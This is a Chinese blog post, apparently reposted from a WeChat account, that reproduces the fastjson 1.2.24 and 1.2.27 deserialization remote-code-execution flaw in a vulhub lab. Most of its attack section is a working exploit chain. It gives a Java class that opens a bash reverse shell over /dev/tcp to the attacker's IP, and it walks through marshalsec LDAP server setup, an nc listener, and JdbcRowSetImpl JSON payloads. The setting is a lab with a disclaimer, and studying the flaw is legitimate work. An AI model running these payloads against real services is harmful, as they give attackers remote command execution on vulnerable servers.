fastjson1.2.24 1.2.27漏洞复现

admin 2025年1月28日13:41:05评论22 views字数 2466阅读8分13秒阅读模式

入职大厂必会

写在前面的话:请注意本篇博客最后面的附(注意java版本),本篇博客采用的是LDAP服务getshell,rmi同理。阅读本篇博客需了解fastjson,ldap,rmi。

启动靶场

在终端里进入事先进入准备好的vulhub靶场目录下,

cd fastjson/1.2.24-rce/sudo docker-compose up -d

执行命令后,看到如下图所示即为成功,此时可在浏览器中输入http://ip:8090,正常访问即为靶场启动成功。

fastjson1.2.24 1.2.27漏洞复现
image-20220526192039687

漏洞发现

漏洞成因

从 fastjson 漏洞形成的原因看,是目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,这就给了攻击者可乘之机,构造对应的 payload ,让系统执行,然后达到代码执行,甚至命令执行的目的。

寻找方式

所以寻找存在 Fastjson 漏洞的方法,就是先找到参数中内容是 json 数据的接口,然后使用构造好的测试 payload 进行提交验证,检测原理跟 sql 注入差不多,首先找到参数提交的地方,然后再用 payload 尝试。

明白寻找方式后,我们对靶场json进行测试,发现如下图所示

fastjson1.2.24 1.2.27漏洞复现
image-20220526193215832

此时我们对红框中的GET改成POST,添加Content-Type字段为application/json,再添加请求参数,如下图所示:

fastjson1.2.24 1.2.27漏洞复现
image-20220526193439047

可见返回来的结果被改变了,于是提交java对象试试,代码如下所示:

{"@type":"java.lang.Class","dataSourceName":"com.sun.rowset.JdbcRowSetImp",}

发现报错,说明存在fastjson漏洞。请求结果如下所示:

fastjson1.2.24 1.2.27漏洞复现
image-20220526193910485

漏洞复现

此时声明一下我所使用的环境:

主机
IP
作用
Ubuntu22.04虚拟机
192.168.75.146
靶机
Win10虚拟机
192.168.75.144
攻击机

EXP

import java.lang.Runtime;import java.lang.Process;publicclassexp{static {try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.75.144/1004 0>&1"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {// do nothing        }    }}

准备一个简单的EXP,写Shell配置好反弹地址和端口后,使用javac进行编译:

javac C:UsersAnonymousDesktopexp.java

编译完成后,通过phpstudy开启网站服务,(如果是打实战的话,需要用到公网服务器做服务端getshell。)然后将编译后的exp.class文件移动到www目录下。

marshalsec开启RMI或LDAP服务

攻击时还需要了解一个东西=>marshalsec,通过github可以获取到:

https://github.com/mbechler/marshalsec

下载成功后,需要使用maven对其进行编译,编译过程可在网上查找,此处不做过多叙述。

为什么需要marshalsec呢?答案是需要通过其开启RMI服务或LDAP服务。

这两个服务是干嘛的呢?答案在此,就不做多叙述。

http://arsenetang.com/2022/03/20/Java%E7%AF%87%E4%B9%8BRMI&LDAP/

本篇博客采用的是LDAP服务进行攻击,接下来我们在攻击机上开启服务端,通过命令开启LDAP服务:

java -cp C:UsersAnonymousDesktopmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.75.144/#exp 1005

记得改IP和端口还有文件名。因为采用phpstudy搭建的服务端,默认端口为80可省略不写。

GetShell

上述准备工作做好后,新开一个终端,执行:

nc -lvp 1004

然后通过burp进行恶意请求,请求格式如下:

1.2.24:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.75.144:1005/exp","autoCommit":true    }}

1.2.27:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"    },"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.75.144:1005/exp","autoCommit":true    }}

发送请求后,我们可以看到没有返回结果,并且发送数据仍在进行中没有停下,请求过程如下图所示:

fastjson1.2.24 1.2.27漏洞复现
image-20220526195801178

此时我们在反弹shell的终端里输入ls,可看到如下图所示:

fastjson1.2.24 1.2.27漏洞复现
image-20220526195912644

可以看到成功拿到shell,至此,复现FastJson1.2.24及以下版本的漏洞利用到此结束。

附(RMI和LDAP对java的版本要求如下,本篇博客采用的java版本是8u181):

fastjson1.2.24 1.2.27漏洞复现
image-20220526200119708

原文始发于微信公众号(0xh4ck3r):fastjson1.2.24 1.2.27漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日13:41:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson1.2.24 1.2.27漏洞复现https://cn-sec.com/archives/3684785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息